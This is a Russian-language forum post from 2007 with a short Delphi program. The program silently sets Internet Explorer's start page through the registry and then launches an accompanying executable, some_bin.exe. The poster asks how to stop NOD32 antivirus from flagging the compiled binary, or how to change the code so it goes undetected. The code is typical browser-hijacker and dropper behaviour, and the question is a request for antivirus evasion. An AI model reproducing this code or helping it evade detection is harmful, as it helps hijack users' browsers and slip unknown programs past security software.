
12.01.2007, 14:35
|
|
Познающий
Регистрация: 10.04.2005
Сообщений: 49
Провел на форуме: 108176
Репутация:
12
|
|
Борьба с NOD32 из Delphi
Есть программка (код ниже), она не делает ничего особенного кроме того что при запуске её устанавливается Домашняя страница у IE в http://www.my_site.ru, а затем вызывается прогрмма из той же директории some_bin.exe (которая полностью безопасна). НОД 32 почему то ругается на скомпилинный EXEшник, хотя DR.Web молчит.
Вопрос:
1) как сделать чтобы заткнуть НОД или модернизировать код чтобы НОД не рушгался
2)правда ли что если я буду компилилить данный код более низкой версией Делфи чем 7.0, то размер ЕХЕшника будет меньше?
Код:
{$R run.res} //Инклудим Файл ресурсов в котором есть иконка
uses
Windows, Registry, ShellApi;
var
r: TRegistry;
h: HWND;
begin
r := TRegistry.Create;
r.RootKey := HKEY_CURRENT_USER;
r.OpenKey('\Software\Microsoft\Internet Explorer\Main', True);
r.WriteString('Start Page', 'http://www.some_site.ru');
r.CloseKey;
r.Free;
ShellExecute(h, 'open', pchar('some_bin.exe'), nil , nil, SW_SHOWNORMAL);
end.
|
|
|